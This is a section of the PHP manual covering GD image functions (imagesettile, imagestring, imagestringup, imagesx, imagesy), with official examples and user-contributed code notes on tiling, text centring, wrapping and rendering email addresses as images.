imagesettile — Set the tile image for filling

Description

bool imagesettile ( resource $image , resource $tile )

imagesettile() sets the tile image to be used by all region filling functions (such as imagefill() and imagefilledpolygon()) when filling with the special color IMG_COLOR_TILED.

A tile is an image used to fill an area with a repeated pattern. Any GD image can be used as a tile, and by setting the transparent color index of the tile image with imagecolortransparent(), a tile allows certain parts of the underlying area to shine through can be created.

Note:

You need not take special action when you are finished with a tile, but if you destroy the tile image, you must not use the IMG_COLOR_TILED color until you have set a new tile image!

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

tile

The image resource to be used as a tile.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagesettile() example

<?php
// Load an external image
$zend = imagecreatefromgif('./zend.gif');

// Create a 200x200 image
$im = imagecreatetruecolor(200, 200);

// Set the tile
imagesettile($im, $zend);

// Make the image repeat
imagefilledrectangle($im, 0, 0, 199, 199, IMG_COLOR_TILED);

// Output image to the browser
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
imagedestroy($zend);
?>

The above example will output something similar to:

Output of example : imagesettile()

User Contributed Notes

onion at ooer dot com 07-Nov-2005 09:31
If you're using a tile image that has some form of transparency you'll need to make sure your destination image is set to use alpha blending. By default it will be, but if for any reason you've changed it you'll need to do:

imagealphablending($image,true);

before any operation using IMG_COLOR_TILED.
aquilo at xtram dot net 01-Jun-2004 03:30
There is very little information about this function so I thought I'd add a few notes I found while trying to get this

working.

First make sure your version of PHP is above 4.3.2 I spent an hour searching goggles 13000+ mirrors of this same page and

finally found the info I needed at AltaVista, there is a bug in PHP 4.3.2 that makes this none functional.

if your creating the base image you need to create it with imageCreateTrueColor() if your using a PNG with transparency, I

found even nullifying the PNG's transparency with GD doesn't work. the tiling PNG has to be created without transparency to work with imageCreate(). but from what I've seen imageCreateFromXXX() can use transparent and nonetransparent PNG's.

here is an example.
<?php
    $diagramWidth = 300;
    $diagramHeight = 50;

    $image = imageCreateTrueColor ($diagramWidth, $diagramHeight);
    $imagebg = imageCreateFromPNG ('tile.png'); // transparent PNG

    imageSetTile ($image, $imagebg);
    imageFilledRectangle ($image, 0, 0, $diagramWidth, $diagramHeight, IMG_COLOR_TILED);

    $textcolor1 = imageColorAllocate ($image, 80, 80, 80);
    $textcolor2 = imageColorAllocate ($image, 255, 255, 255);

    imageString ($image, 3, 10, 20, 'Transparent PNG Tile Test...', $textcolor1);
    imageString ($image, 3,  9, 19, 'Transparent PNG Tile Test...', $textcolor2);

    Header("Content-type: image/png");
    imagePNG ($image);

    imagedestroy ($image);
    imagedestroy ($imagebg);
?>

hope this helps someone else!
Aquilo


Draw a string horizontally

  • « imagesettile
  • imagestringup »
  • PHP Manual
  • GD and Image Functions
  • Draw a string horizontally

imagestring

(PHP 4, PHP 5)

imagestring — Draw a string horizontally

Description

bool imagestring ( resource $image , int $font , int $x , int $y , string $string , int $color )

Draws a string at the given coordinates.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

font

Can be 1, 2, 3, 4, 5 for built-in fonts in latin2 encoding (where higher numbers corresponding to larger fonts) or any of your own font identifiers registered with imageloadfont().

x

x-coordinate of the upper left corner.

y

y-coordinate of the upper left corner.

string

The string to be written.

color

A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagestring() example

<?php
// Create a 100*30 image
$im = imagecreate(100, 30);

// White background and blue text
$bg = imagecolorallocate($im, 255, 255, 255);
$textcolor = imagecolorallocate($im, 0, 0, 255);

// Write the string at the top left
imagestring($im, 5, 0, 0, 'Hello world!', $textcolor);

// Output the image
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : imagestring()

See Also

  • imageloadfont() - Load a new font
  • imagettftext() - Write text to the image using TrueType fonts

User Contributed Notes

jordanslost at gmail 05-Sep-2009 01:52
Here is a small bit I made for writing to a image from right to left when you are limited to imagestring()

<?php

        $pageview_letters = preg_split('//', $string, -1 ); // Form are original array of letters.
        $minus = 6; // The letter spacing in pixels
        $first = true; // Whether or not we have started the string
        $x = 375; // X Location of imagestring
        $y = 23; // Y Location of imagestring
        $letters = array(); // Initiate the array o letters.

        foreach ( $pageview_letters as $letter ) {

            $letters[] = $letter;

        }

        $letters = array_reverse( $letters );

        foreach ( $letters as $letter ) {

            if ( $first ) {

                imagestring( $image, 2, $x, $y, $letter, $light_blue );
                $first = false;

            } else {

                $x = ( $x - $minus );
                imagestring( $image, 2, $x, $y, $letter, $light_blue );

            }

        }
?>
eric dot brison at anakeen dot com 24-Apr-2009 09:51
Same function as above but it can display multi-line strings.
<?php
function sendimagetext($text) {
  // Set font size
  $font_size = 4;

  $ts=explode("\n",$text);
  $width=0;
  foreach ($ts as $k=>$string) { //compute width
    $width=max($width,strlen($string));
  }

  // Create image width dependant on width of the string
  $width  = imagefontwidth($font_size)*$width;
  // Set height to that of the font
  $height = imagefontheight($font_size)*count($ts);
  $el=imagefontheight($font_size);
  $em=imagefontwidth($font_size);
  // Create the image pallette
  $img = imagecreatetruecolor($width,$height);
  // Dark red background
  $bg = imagecolorallocate($img, 0xAA, 0x00, 0x00);
  imagefilledrectangle($img, 0, 0,$width ,$height , $bg);
  // White font color
  $color = imagecolorallocate($img, 255, 255, 255);

  foreach ($ts as $k=>$string) {
    // Length of the string
    $len = strlen($string);
    // Y-coordinate of character, X changes, Y is static
    $ypos = 0;
    // Loop through the string
    for($i=0;$i<$len;$i++){
      // Position of the character horizontally
      $xpos = $i * $em;
      $ypos = $k * $el;
      // Draw character
      imagechar($img, $font_size, $xpos, $ypos, $string, $color);
      // Remove character from string
      $string = substr($string, 1);
    }
  }
  // Return the image
  header("Content-Type: image/png");
  imagepng($img);
  // Remove image
  imagedestroy($img);
}
?>
mike at mike-griffiths dot co dot uk 19-Dec-2008 09:07
I created an alternative using the function imagechar to create a string of an image.  The below function below was used to create an image the same height and width of the text string.  It is used on my website to mask users email addresses.

<?PHP

// Set your string somehow
$string = 'your@example.com';

// Set font size
$font_size = 4;

// Create image width dependant on width of the string
$width  = imagefontwidth($font_size)*strlen($string);
// Set height to that of the font
$height = imagefontheight($font_size);
// Create the image pallette
$img = imagecreate($width,$height);
// Grey background
$bg    = imagecolorallocate($img, 25, 25, 25);
// White font color
$color = imagecolorallocate($img, 255, 255, 255);
// Length of the string
$len = strlen($string);
// Y-coordinate of character, X changes, Y is static
$ypos = 0;
// Loop through the string
for($i=0;$i<$len;$i++){
    // Position of the character horizontally
    $xpos = $i * imagefontwidth($font_size);
    // Draw character
    imagechar($img, $font_size, $xpos, $ypos, $string, $color);
    // Remove character from string
    $string = substr($string, 1);

}
// Return the image
header("Content-Type: image/gif");
imagegif($img);
// Remove image
imagedestroy($img);

?>
keksnicoh at googlemail dot com 02-Nov-2008 07:42
Some fun with imagestring:

This function is a product of too much time..
It opens an image and create a new image with one letter instead of a pixel.

<?php
error_reporting(E_ALL);
/**
 * generates a image with chars instead of pixels
 *
 * @param string $url Filepath or url
 * @param string $chars The chars which should replace the pixels
 * @param int $shrpns Sharpness (2 = every second pixel, 1 = every pixel ... )
 * @param int $size
 * @param int $weight font-weight/size
 * @return sesource
 * @author Nicolas 'KeksNicoh' Heimann <www.salamipla.net>
 * @date 02nov08
 */
function pixelfuck($url, $chars='ewk34543§G§$§$Tg34g4g', $shrpns=1, $size=4,$weight=2)
{
    list($w, $h, $type) = getimagesize($url);
    $resource = imagecreatefromstring(file_get_contents($url));
    $img = imagecreatetruecolor($w*$size,$h*$size);

    $cc = strlen($chars);
    for($y=0;$y <$h;$y+=$shrpns)
        for($x=0;$x <$w;$x+=$shrpns)
            imagestring($img,$weight,$x*$size,$y*$size, $chars{@++$p%$cc}, imagecolorat($resource, $x, $y));
    return $img;
}

$url = 'http://upload.wikimedia.org/wikipedia/commons/b/be/Manga_Icon.png';
$text = 'I-dont-like-manga-...-Why-do-they-have-such-big-eyes? Strange-...-WHAT-WANT-YOU-DO?';

Header('Content-Type: image/png');
imagepng(pixelfuck($url, $text, 1, 6));
?>

Have fun  :)
Abubaker dot shamlan at gmail dot com 20-Aug-2008 12:02
this is a function that is based on imagestring but it produces text in the center of an image i hope it helps :D

<?php
function ImageStringCenter($image_resource, $font_size, $line_number, $total_lines, $text, $color ) {

    $center_x = ceil( ( imagesx($image_resource) - ( ImageFontWidth($font_size) * strlen($text) ) ) / 2 );

    $center_y = ceil( ( ( imagesy($image_resource) - ( ImageFontHeight($font_size) * $total_lines ) ) / 2)  + ( ($line_number-1) * ImageFontHeight($font_size) ) );

ImageString($image_resource, $font_size, $center_x, $center_y, $text, $color );

}
?>
mustafa at hafunny dot info 14-Aug-2008 11:42
If you have any problem with CentralEurope's words, for example : ľščťžýáíéúäňôď, I am try this problem by iconv() function.

<?php
// create example image
$im = imagecreate(200, 20);
$bg = imagecolorallocate($im, 255, 255, 255);
$textcolor = imagecolorallocate($im, 0, 0, 255);
$text = "ľščťžýáíéúäňôď...";

//simple convert string
$string = iconv("Windows-1250", "Latin2", $text);

// write converted string at the top left
imagestring($im, 4, 0, 0, $string, $textcolor);

// output the image
header("Content-type: image/png");
imagepng($im);
?>
sk89q 14-Mar-2008 11:10
Creates a box of text. Has horizontal and vertical alignment, box arguments, and custom leading. I submitted this to the manual in 2003 actually, but it disappeared after a year or so (not sure why). Here it is again.

<?php
define("ALIGN_LEFT", "left");
define("ALIGN_CENTER", "center");
define("ALIGN_RIGHT", "right");
define("VALIGN_TOP", "top");
define("VALIGN_MIDDLE", "middle");
define("VALIGN_BOTTOM", "bottom");

function imagestringbox(&$image, $font, $left, $top, $right, $bottom, $align, $valign, $leading, $text, $color)
{
   // Get size of box
   $height = $bottom - $top;
   $width = $right - $left;

   // Break the text into lines, and into an array
   $lines = wordwrap($text, floor($width / imagefontwidth($font)), "\n", true);
   $lines = explode("\n", $lines);

   // Other important numbers
   $line_height = imagefontheight($font) + $leading;
   $line_count = floor($height / $line_height);
   $line_count = ($line_count > count($lines)) ? (count($lines)) : ($line_count);

   // Loop through lines
   for ($i = 0; $i < $line_count; $i++)
   {
       // Vertical Align
       switch($valign)
       {
           case VALIGN_TOP: // Top
               $y = $top + ($i * $line_height);
               break;
           case VALIGN_MIDDLE: // Middle
               $y = $top + (($height - ($line_count * $line_height)) / 2) + ($i * $line_height);
               break;
           case VALIGN_BOTTOM: // Bottom
               $y = ($top + $height) - ($line_count * $line_height) + ($i * $line_height);
               break;
           default:
               return false;
       }

       // Horizontal Align
       $line_width = strlen($lines[$i]) * imagefontwidth($font);
       switch($align)
       {
           case ALIGN_LEFT: // Left
               $x = $left;
               break;
           case ALIGN_CENTER: // Center
               $x = $left + (($width - $line_width) / 2);
               break;
           case ALIGN_RIGHT: // Right
               $x = $left + ($width - $line_width);
               break;
           default:
               return false;
       }

       // Draw
       imagestring($image, $font, $x, $y, $lines[$i], $color);
   }

   return true;
}
?>
eviloverlord+php at gmail dot com 04-Jan-2008 12:28
Simple script to convert a string (such as an email addresses) to a transparent image.

Usage:
<img src="stringtoimg.php?string=<?= urlencode(base64_encode($email)) ?>">

From a spambot's point of view, they see:
<img src="stringtoimg.php?string=ZpbXZG92ZXJsb3JkQGdtYWlsLmNvbQ%3D%3D">

Optional parameters:
    font_size: 1 to 5, with the default at 3
    R/G/B: the font color, in hex.

Usage:
<img src="stringtoimg.php?string=<?= urlencode(base64_encode($email)) ?>&font_size=4&R=FF&G=FF&B=00">

<?php
/*
Filename: stringtoimg.php

Parameters:
        string: the string to print
        font_size (optional): the size of the font from 1-5
        R/G/B (optional): the RGB colors of the font in hex
*/

header ("Content-type: image/png");

//Get string info
$font_size = isset($_GET['font_size']) ? $_GET['font_size'] : 3;
$string = urldecode(base64_decode($_GET['string']));

//Get the size of the string
$width = imagefontwidth($font_size) * strlen($string);
$height = imagefontheight($font_size);

//Create the image
$img = @imagecreatetruecolor($width, $height)
      or die("Cannot Initialize new GD image stream");

//Make it transparent
imagesavealpha($img, true);
$trans_colour = imagecolorallocatealpha($img, 0, 0, 0, 127);
imagefill($img, 0, 0, $trans_colour);

//Get the text color
$text_color = isset($_GET['R'], $_GET['G'], $_GET['B']) ?
        imagecolorallocate($img, hexdec($_GET['R']), hexdec($_GET['G']), hexdec($_GET['B'])) :
        imagecolorallocate($img, 0, 0, 0);

//Draw the string
imagestring($img, $font_size, 0, 0,  $string, $text_color);

//Output the image
imagepng($img);
imagedestroy($img);
?>
Epidemiah 03-Jan-2008 02:06
Its just an easy function to write an string in the middle of a picture.

<?php

function imageCenterString(&$img, $font, $text, $color)
{
    if($font < 0 || $font > 5){ $font = 0; }
    $num = array(array(4.6, 6),
                 array(4.6, 6),
                 array(5.6, 12),
                 array(6.5, 12),
                 array(7.6, 16),
                 array(8.5, 16));
    $width = ceil(strlen($text) * $num[$font][0]);
    $x     = imagesx($img) - $width - 8;
    $y     = Imagesy($img) - ($num[$font][1] + 2);
    imagestring($img, $font, $x/2, $y/2, $text, $color);
}

?>
jlamer 19-Feb-2007 03:00
//  Example of use...

//  This is a simple function to output text to an image
//  which is centered (as much as I want to do by eye)
//  and wrapped
//    Just remember that all the sizes are guessed
// doesn't cut on the space (only on number of characters)
//  or change color of text, but this isn't for that...
function imageCenterString( $imgw, $imgh,
   $image_text = '', $text_size=5 )
{
   $im = imagecreate( $imgw, $imgh );

   // white background and blue text
   $bg = imagecolorallocate($im, 255, 255, 255);
   $textcolor = imagecolorallocate($im, 0, 0, 0);

   $t_h = $t_w = $t_x = $t_y = 0;
   $base_w =9; $base_h = 16;
   $m = 0.88;
   switch ( $text_size )
   {
      case 1: $t_w = $base_w*pow(($m*.98),4);
         $t_h = $base_h*pow(($m*.98),4);
         break;
      case 2: $t_w = $base_w*pow($m,3);
         $t_h = $base_h*pow($m,3);
         break;
      case 3: $t_w = $base_w*pow($m,2);
         $t_h = $base_h*pow($m,2);
         break;
      case 4: $t_w = $base_w*$m;
         $t_h = $base_h*$m;
         break;
      case 5: $t_w = $base_w;
         $t_h = $base_h;
         break;
      default:
         if ( $text_size >= 5 ) // set to 5
         {   $t_w = $base_w; $t_h = $base_h; }
         if ( $text_size < 5 ) // set to 1
         {
            $t_w = $base_w*pow(($m*.98),4);
            $t_h = $base_h*pow(($m*.98),4);
         }
         break;
   }

   $text_array = array();

   $max = floor($imgw/$t_w);

   for( $i=0; strlen($image_text) > 0; $i += $max)
   {
      array_push($text_array, substr($image_text,0,$max));
      if ( strlen($image_text) >= $max )
      {   $image_text = substr($image_text,$max); }
      else
      {   $image_text = ''; }
   }

   $t_y = ($imgh/2) - ($t_h*count($text_array)/2);

   foreach ( $text_array as $text )
   {
      $t_x = ($imgw/2)-($t_w*strlen($text)/2);
      imagestring($im, $text_size, $t_x, $t_y,
         $text, $textcolor);
      $t_y += $t_h;
   }

   // output the image
   header("Content-type: image/gpeg");
   imagejpeg($im);
}
gannon (at) portablesofdoom (dot) org 28-Dec-2006 03:53
I like this better than "tjpoe at cableaz dot com"'s function for wrapping text to fit width (auto-adjusts height as needed) since it doesn't only do 1 word per line.

function make_wrapped_txt($txt, $color=000000, $space=4, $font=4, $w=300) {
  if (strlen($color) != 6) $color = 000000;
  $int = hexdec($color);
  $h = imagefontheight($font);
  $fw = imagefontwidth($font);
  $txt = explode("\n", wordwrap($txt, ($w / $fw), "\n"));
  $lines = count($txt);
  $im = imagecreate($w, (($h * $lines) + ($lines * $space)));
  $bg = imagecolorallocate($im, 255, 255, 255);
  $color = imagecolorallocate($im, 0xFF & ($int >> 0x10), 0xFF & ($int >> 0x8), 0xFF & $int);
  $y = 0;
  foreach ($txt as $text) {
    $x = (($w - ($fw * strlen($text))) / 2);
    imagestring($im, $font, $x, $y, $text, $color);
    $y += ($h + $space);
  }
  header('Content-type: image/jpeg');
  die(imagejpeg($im));
}
iibm at free dot fr 14-Dec-2006 11:21
I've made a little modification of the (quite usefull) imagestringcutted function (when align=center, it doesn't work well for me if x1!=0) so juste replace the last line with :

<?php
   [...]
   else imagestring($img,$font,$x1+($x2-$x1)/ 2 - strlen($text) * $fontwidth / 2,$y,$text,$color);
}
?>
Piotr dot Sulecki at traxelektronik dot pl 09-Nov-2006 12:18
The built-in fonts used to be in latin-2 (iso8859-2) encoding. For some time, they are in latin-1 (iso8859-1) encoding. There is no way to change the encoding at all. If you need to use any other encoding, you have to use TrueType fonts.
god at in-heaven dot org 18-Oct-2006 11:47
Here's a simple function for creating an aligned string which is cutted to match the space between $x1 and $x2
<?php
function imagestringcutted($img,$font,$y,$x1,$x2,$text,$color,$align="center") {
    $fontwidth = imagefontwidth($font);
    $fullwidth = strlen($text) * $fontwidth;
    $maxwidth = $x2-$x1;
    $targetwidth = $fullwidth-(4*$fontwidth);
    if($fullwidth > $maxwidth) {
        for($i = 0; $i < strlen($text) AND ((strlen($text)-($i-4))*$fontwidth) > $targetwidth ;$i++) { }
        $text = substr($text,0,(strlen($text)-$i)-4)."...";
    }
    if($align == "left") imagestring($img,$font,$x1,$y,$text,$color);
    elseif($align == "right") imagestring($img,$font,$x2 - ((strlen($text) * $fontwidth)),$y,$text,$color);
    else imagestring($img,$font,($x2-$x1)/ 2 - strlen($text) * $fontwidth / 2,$y,$text,$color);
}
?>
Usage:
<?php
imagestringcutted($img,$font,$y,$x1,$x2,$text,$color,$align);
?>
Will create a string $text, which is cutted if it's too long to match between  $x1 and $2, on $img with font $font and color $color at height $y and with align to $align.
Hope it will help some people.
Sorry for my bad English.
rush at 507magazine dot com 28-Feb-2006 08:54
hello, I noticed that if you put a rand(3,5) it will put random sizes of font to each character put on the image. this is very useful when programming captchas for anti-spam form verification.
julien / at / theoconcept.com 02-Feb-2006 12:21
If you are looking for a way to generate a "CAPTCHA" image for a form verification (to verify it is not a robot), have a look at this : http://blog.theoconcept.com/static/distortion/

It gives an animated image with the parameter string, with distortion, here is an example :
http://blog.theoconcept.com/static/distortion/distortion.php

(*)  You'll need GD + Freetype support
(**) You'll need ImageMagick on the machine
m dot onderwater at esperantoxl dot nl 05-Dec-2005 07:55
There is a small error in the function for horizontal and vertical centering by "jurgen dot vanoosterwijck at pandora dot be"

the line

 $cy = (imagesy($img)/2) - (imagefontwidth($font)/2);

should be

 $cy = (imagesy($img)/2) - (imagefontheight($font)/2);
aly at slo-igre dot net 11-Jun-2005 10:12
There is an error in "tjpoe at cableaz dot com" 's function ImageStringWrap. Instead of

    else
           $string = $text;

there should be

     else
           $string = array($text);

for function to work for strings with only one word. Otherwise it works like a charm, thanks.
tjpoe at cableaz dot com 28-May-2005 04:48
i modified the centering functions and created this which centers each word on it's own line. You can adjust the spacing with the $valign var. currently no implimentation if text is too large for image. strings are tokenized by space, but can obviously be changed.

function ImageStringWrap($image, $font, $text, $color)
{
  $fontwidth = ImageFontWidth($font);
  $fontheight = ImageFontHeight($font);
  $words= str_word_count($text);
  if ($words > 1){
    $string=array(strtok($text,' '));
    for ($i = 1 ; $i <= $words ; $i++){
      $string=array_merge($string,array($i=>strtok(' ')));
    }
  }
  else
    $string=$text;
  $vspace=4;
  $y=((imagesy($image)-($fontheight*$words)-($words*$vspace))/2);
  foreach($string as $st){
    $x=((imagesx($image)-($fontwidth * strlen($st)))/2);
    ImageString($image,$font,$x,$y,$st,$color);
    $y+=($fontheight+$vspace);
  }
}
hope this is helpful
bpgordon at gmail dot com 24-May-2005 01:04
This code produces a png image of the text within the query. It autofits to the length of the string.
Usage: http://yoursite.com/text.php?abcdefg+hijk

Use + to produce a space in the image. The + can be excaped with a carat (^). Most other symbols work fine in the query string, like the ?.

<?php
header ("Content-type: image/png");
$string = $_ENV["QUERY_STRING"];
$md5 = md5($string); //just so we don't convert valid text into a +
$string = str_replace("^+", $md5, $string); //replaces ^+ with long, unnatural string
$string = str_replace("+", " ", $string); //replaces + with space
$string = str_replace($md5, "+", $string); //replaces the long, unnatural string with +
$width  = imagefontwidth($font) * strlen($string);
$height = imagefontheight($font);
$image = @imagecreate($width+2, $height+2);
$black = imagecolorallocate($image, 0, 0, 0); //background
$white = imagecolorallocate($image, 255, 255, 255);
imagestring($image, 2, 1, 1,  $string, $white);
imagepng($image);
imagedestroy($image);
?>
jurgen dot vanoosterwijck at pandora dot be 12-May-2005 07:52
Based on the previous example, here's how to center a string both horizontally and vertically...

<?php
function imagestringcentered ($img,$font,$text,$color) {
 while (strlen($text) * imagefontwidth($font) > imagesx($img)) {
  if ($font > 1) { $font--; }
  else { break; }
 }
 $cy = (imagesy($img)/2) - (imagefontwidth($font)/2);
 imagestring($img,$font,imagesx($img) / 2 - strlen($text) * imagefontwidth($font) / 2,$cy,$text,$color);
}
?>
shadikka at gmail dot com 26-Mar-2005 08:49
My version of the centered string, it decreases the font number (since I've noticed smaller numbers are smaller fonts) until 1 if the string won't fit. Then it will give up.

<?php
function imagestringcentered ($img,$font,$cy,$text,$color) {
 while (strlen($text) * imagefontwidth($font) > imagesx($img)) {
  if ($font > 1) { $font--; }
  else { break; }
 }
 imagestring($img,$font,imagesx($img) / 2 - strlen($text) * imagefontwidth($font) / 2,$cy,$text,$color);
}
?>
webmaster at acdrifter dot com 01-Mar-2005 05:08
If you are looking to center the text, use the following function; I'm not promising perfection...

function imagecenteredstring ( &$img, $font, $xMin, $xMax, $y, $str, $col ) {
    $textWidth = imagefontwidth( $font ) * strlen( $str );
    $xLoc = ( $xMax - $xMin - $textWidth ) / 2 + $xMin + $font;
    imagestring( $img, $font, $xLoc, $y, $str, $col );
}
cesargus at yahoo dot com 17-Nov-2004 07:27
//simple hello world

<?
header ("Content-type: image/png");

$img_handle = ImageCreate (200, 20) or die ("Cannot Create image");
$back_color = ImageColorAllocate ($img_handle, 0, 10, 10);
$txt_color = ImageColorAllocate ($img_handle, 235, 235, 51);
ImageString ($img_handle, 10, 25, 5,  "Hello world!", $txt_color);
ImagePng ($img_handle);
?>
brooks dot boyd at gmail dot com 13-Oct-2004 09:35
Drawing a string as an image is a handy way to disguise an eMail address so spam sniffers can't get it as easily. The only catch to creating a dynamic image with your eMail in it is the eMail to be displayed must be passed via the query string to enable static HTML to use it. So, the eMail must be encrypted slightly in order to not defeat the purpose of not typing your eMail address outright. I wrote the following script to do so:

Save the following as email.php
<?php
    if ($_GET['addr'] != "") {
        $msg = $_GET['addr'];
        $msg = preg_replace("/\[dot]/",".",$msg);
        $msg = preg_replace("/\[at]/","@",$msg);
        $final = "";
        for ($i=0; $i<=strlen($msg); $i++) {
            $final .= substr($msg, strlen($msg)-$i, 1);
        }
        $msg = $final;

        $char_width = 8;
        $char_height = 17;
        $padding = 3;
        $width = $padding*2+strlen($msg)*$char_width;
        $height = +$padding*2+$char_height;
        $im = imagecreatetruecolor($width,$height);
        imagealphablending($im, FALSE);
        imagesavealpha($im, TRUE);
        $bg = imagecolorallocatealpha($im, 255, 255, 0, 100);
        $text = imagecolorallocatealpha($im, 0, 0, 0, 0);
        imagefilledrectangle ($im, 0, 0, $width, $height, $bg); # Make transparent
        imagestring($im, 4, $padding, $padding, $msg, $text);
    } else {
        $im = imagecreatetruecolor(1,1);
        imagealphablending($im, FALSE);
        imagesavealpha($im, TRUE);
        $bg = imagecolorallocatealpha($im, 255, 0, 0, 125);
        imagefilledrectangle ($im, 0, 0, 1, 1, $bg); # Make transparent
    }
    header('Content-type: image/jpg');
    imagepng($im);
    imagedestroy($im);

?>

If the script is called without an eMail address, it outputs a 2x2 transparent image.

To call the script to generate the eMail "user@home.com", the HTML tag would be:

<img src="email.php?addr=moc[dot]emoh[at]resu">

To 'encrypt' the eMail address to pass to the script, write the address backwards and replace "." with "[dot]" and "@" with "[at]". It's not the most ironclad protection, but it thwarts most casual eMail sniffers.
php dot net at mvoncken dot nl 14-Feb-2003 11:18
A simple example:
To make one line of text fit in the image.

<?php
header ("Content-type: image/png");
$string = "spam@mvoncken.nl";
$font   = 4;
$width  = ImageFontWidth($font) * strlen($string);
$height = ImageFontHeight($font);

$im = @imagecreate ($width,$height);
$background_color = imagecolorallocate ($im, 255, 255, 255); //white background
$text_color = imagecolorallocate ($im, 0, 0,0);//black text
imagestring ($im, $font, 0, 0,  $string, $text_color);
imagepng ($im);
?>

I use something like this for spamprotection of my visitors (pass userid as an url-parameter for this php)
aholmes84 at hotmail dot com 08-Nov-2002 08:25
When setting the font, any integer less than 1 defaults to 1, and any integer greater than 5 defaults to 5.
deejay_world at yahoo dot com 11-Jun-2002 04:25
Width ImageString, the strings you draw are not automatically wrapped width the edge of the image. You may use this function to automatically wrap them:

function ImageStringWrap($image, $font, $x, $y, $text, $color, $maxwidth)
{
    $fontwidth = ImageFontWidth($font);
    $fontheight = ImageFontHeight($font);

    if ($maxwidth != NULL) {
        $maxcharsperline = floor($maxwidth / $fontwidth);
        $text = wordwrap($text, $maxcharsperline, "\n", 1);
      }

    $lines = explode("\n", $text);
    while (list($numl, $line) = each($lines)) {
        ImageString($image, $font, $x, $y, $line, $color);
        $y += $fontheight;
      }
}

So, in particular, if you want to wrap a text with the edge of the Image, you may do:
ImageStringWrap($img, $font, 0, $y, $text, $color, ImageSX($img) );
bob dot brown at opus dot co dot nz 03-Apr-2002 12:59
If you find that you are getting two characters on the end of your imageString that look like a Y and an upside down L then they're probably representations of CR/LF.  Try trim()ing the string before outputting it.  (I was sooo sure this was a bug <g>)


Draw a string vertically

  • « imagestring
  • imagesx »
  • PHP Manual
  • GD and Image Functions
  • Draw a string vertically

imagestringup

(PHP 4, PHP 5)

imagestringup — Draw a string vertically

Description

bool imagestringup ( resource $image , int $font , int $x , int $y , string $string , int $color )

Draws a string vertically at the given coordinates.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

font

Can be 1, 2, 3, 4, 5 for built-in fonts in latin2 encoding (where higher numbers corresponding to larger fonts) or any of your own font identifiers registered with imageloadfont().

x

x-coordinate of the bottom left corner.

y

y-coordinate of the bottom left corner.

string

The string to be written.

color

A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagestringup() example

<?php
// create a 100*100 image
$im = imagecreatetruecolor(100, 100);

// Write the text
$textcolor = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);
imagestringup($im, 3, 40, 80, 'gd library', $textcolor);

// Save the image
imagepng($im, './stringup.png');
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : imagestringup()

See Also

  • imageloadfont() - Load a new font

User Contributed Notes

13-Dec-2002 02:19
function imagestringdown(&$image, $font, $x, $y, $s, $col)
{
    $width = imagesx($image);
   $height = imagesy($image);

    $text_image = imagecreate($width, $height);

   $white = imagecolorallocate ($text_image, 255, 255, 255);
   $black = imagecolorallocate ($text_image, 0, 0, 0);

    $transparent_colour = $white;
   if ($col == $white)
      $transparent_color = $black;

   imagefill($text_image, $width, $height, $transparent_colour);
   imagecolortransparent($text_image, $transparent_colour);

   imagestringup($text_image, $font, ($width - $x), ($height - $y), $s, $col);
   imagerotate($text_image, 180.0, $transparent_colour);

   imagecopy($image, $text_image, 0, 0, 0, 0, $width, $height);
}


Get image width

  • « imagestringup
  • imagesy »
  • PHP Manual
  • GD and Image Functions
  • Get image width

imagesx

(PHP 4, PHP 5)

imagesx — Get image width

Description

int imagesx ( resource $image )

Returns the width of the given image resource.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

Return Values

Return the width of the image or FALSE on errors.

Examples

Example #1 Using imagesx()

<?php

// create a 300*200 image
$img = imagecreatetruecolor(300, 200);

echo imagesx($img); // 300

?>

See Also

  • imagecreatetruecolor() - Create a new true color image
  • getimagesize() - Get the size of an image
  • imagesy() - Get image height

User Contributed Notes

kris 23-Sep-2004 02:49
You can in fact convert pixels to CM or to whatever measurement you want if you know the DPI and current resolution of the image.  This will of course give you the real life print size of the image and not the actual on screen size of the image.

This function seems to have been created for such a purpose.  It is for this reason the creator of the function passes the DPI and resolution to his function.
anC 27-Aug-2004 08:38
You can't convert pixels into centimeters or something else, atleast without knowing the resolution and the size of your screen and the viewrange of it. For example: The pixels on monitor that's resolution is 1024*768 and size is 17' the size of a pixel is smaller than on the monitor that's resolution is 1024*768 too but size is 21'.
leonardo AT saochico DOT com 21-Nov-2003 04:24
This function convert image size of Pixel to Centimeter

<?
#$imagem - source of image
#$dpi - resolution to convert E.g.: 72dpi or 300dpi

function px2cm($image, $dpi) {
    #Create a new image from file or URL
    $img = ImageCreateFromJpeg($image);

    #Get image width / height
    $x = ImageSX($img);
    $y = ImageSY($img);

    #Convert to centimeter
    $h = $x * 2.54 / $dpi;
    $l = $y * 2.54 / $dpi;

    #Format a number with grouped thousands
    $h = number_format($h, 2, ',', ' ');
    $l = number_format($l, 2, ',', ' ');

    #add size unit
    $px2cm[] = $h."cm";
    $px2cm[] = $l."cm";

    #return array w values
    #$px2cm[0] = X
    #$px2cm[1] = Y
    return $px2cm;
}

$image = "C:\\inetpub\\wwwroot\\lab\\trata_img\\l0gik.jpg";
$dpi = 300;

$result = px2cm($image, $dpi);

print ($result[0]." x ".$result[1]);
?>


Get image height

  • « imagesx
  • imagetruecolortopalette »
  • PHP Manual
  • GD and Image Functions
  • Get image height

imagesy

(PHP 4, PHP 5)

imagesy — Get image height

Description

int imagesy ( resource $image )

Returns the height of the given image resource.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

Return Values

Return the height of the image or FALSE on errors.

Examples

Example #1 Using imagesy()

<?php

// create a 300*200 image
$img = imagecreatetruecolor(300, 200);

echo imagesy($img); // 200

?>

See Also

  • imagecreatetruecolor() - Create a new true color image
  • getimagesize() - Get the size of an image
  • imagesx() - Get image width

User Contributed Notes

There are no user contributed notes for this page.


Convert a true color image to a palette image

  • « imagesy
  • imagettfbbox »
  • PHP Manual
  • GD and Image Functions
  • Convert a true color image to a palette image

imagetruecolortopalette

